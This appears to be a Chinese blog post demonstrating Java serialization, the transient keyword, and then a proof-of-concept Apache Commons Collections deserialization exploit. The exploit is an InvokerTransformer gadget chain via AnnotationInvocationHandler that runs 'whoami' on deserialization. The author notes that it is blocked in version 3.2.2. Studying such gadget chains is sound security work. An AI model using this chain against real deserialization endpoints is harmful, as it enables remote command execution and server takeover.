在这里写一下之前做的一个小测试,就是关于java中对象序列化的demo。
先贴出序列化测试类
package com.lazy.cc;
import java.io.Serializable;
/**
* User: 老辉辉
* Date: 2018/05/11
*/
public class SerialObject implements Serializable {
/**
* SerialObject实现Serializable接口作为序列化的测试类,这个类的所有属性和方法都会自动序列化
* 而这就要提到transient,使用其修饰的属性将不需要序列化的属性前添加关键字transient,
* 在序列化对象的时候,这个属性就不会序列化到指定的目的地中。
*/
private static final long serialVersionUID = 1L;
public int number;
public String name;
public transient String address;
public void logInfo()
{
System.out.println("number: " + number + " name: " + name + " address: " + address);
}
public SerialObject(int number, String name, String address) {
this.number = number;
this.name = name;
this.address = address;
}
public SerialObject() {
}
}
下面贴一下测试的代码:
package com.lazy.cc;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
/**
* User: 老辉辉
* Date: 2018/05/11
*/
public class mainText {
/**
* 命令执行函数
* @param command
* @throws IOException
* @throws InterruptedException
*/
private static void execTest(String command) throws IOException, InterruptedException {
System.out.print("exec 'whoami' in cmd results: ");
//执行command
Process process = Runtime.getRuntime().exec(command);
//结果回显
InputStream inputstream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream));
process.waitFor();
if (process.exitValue() != 0) {
System.out.println(process.getErrorStream());
}
String msg = null;
while ((msg = reader.readLine()) != null) {
System.out.println(msg);
}
}
/**
* 测试POC
* @param command
* @throws ClassNotFoundException
* @throws NoSuchMethodException
* @throws SecurityException
* @throws InstantiationException
* @throws IllegalAccessException
* @throws IllegalArgumentException
* @throws InvocationTargetException
* @throws FileNotFoundException
* @throws IOException
*/
private static void testPOC(String command) throws ClassNotFoundException, NoSuchMethodException, SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException, FileNotFoundException, IOException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
/*
由于Method类的invoke(Object obj,Object args[])方法的定义
所以在反射内写new Class[] {Object.class, Object[].class }
正常POC流程举例:
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
*/
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String[].class },
new Object[] { command }
//new Object[] { execArgs }
)
};
//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
Transformer transformedChain = new ChainedTransformer(transformers);
Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
BeforeTransformerMap.put("hello", "hello");
//TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
//构造器生成实例化对消
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(new File("temp.bin")));
out.writeObject(instance);
}
public static void main(String[] args) throws FileNotFoundException, IOException, ClassNotFoundException, InterruptedException, NoSuchMethodException, SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
//①测试序列化对象
SerialObject serialObject = new SerialObject(2, "lazyhunter", "xiamen");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("tmp.ser"));
oos.writeObject(serialObject);
oos.close();
//②读取反序列化对象
ObjectInputStream in = new ObjectInputStream(new FileInputStream("tmp.ser"));
SerialObject readObject = (SerialObject) in.readObject();
readObject.logInfo();
in.close();
//③测试java命令执行,测试一个常用命令"whoami"的执行
execTest("whoami");
/**
* 这里先提一下java的反射机制
* 在java运行状态中:
* 1.对于任何一个类,都能获得对象所属的类;
* 2.对于任何一个类,都能获取其所有的属性和方法;
* 3.对于任何一个对象,都能调用任意一个方法和属性;
*/
/**
* 因此,可以通过构造特定的恶意对象序列化后的流,让目标反序列化,
* 加上反射机制就可以调用对象的方法(整个对象都是我们自己构建的,这个method就是一个攻击入口)
*
* 很多站点或者RMI仓库等接口处存在java的反序列化功能,就可以利用其执行命令,甚至getshell等等。
* 比如:Apache Commons Collections
* 这个框架中有一个接口,其中有一个实现该接口的类可以通过调用java的反射机制来调用任意函数,这个接口类是InvokerTransformer。
*
*/
/**
* 参考网络大牛的poc,分析利用逻辑。
* 定义一个反射链的方法:
* Transformer[] varitename = new Transformer[] {
* new ConstantTransformer(Runtime.class),
* new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
* new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
* new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
* }
*/
/**
* 1)首先构造一个Map和一个能够执行代码的ChainedTransformer,
* 2)生成一个TransformedMap实例
* 3)实例化AnnotationInvocationHandler,并对其进行序列化,
* 4)当触发readObject()反序列化的时候,就能实现命令执行。
* POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发
*/
//④利用反序列化对象来执行命令
testPOC("whoami");
}
}
这里再讲一下,测试中一个有趣的事情,我在测试的时候使用的是commons-collections-3.2.2.jar。恰好已经在在3.2.2版本中做了修复,对这些不安全的Java类的序列化支持增加了开关,默认为关闭状态。于是有了以下的报错:
Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.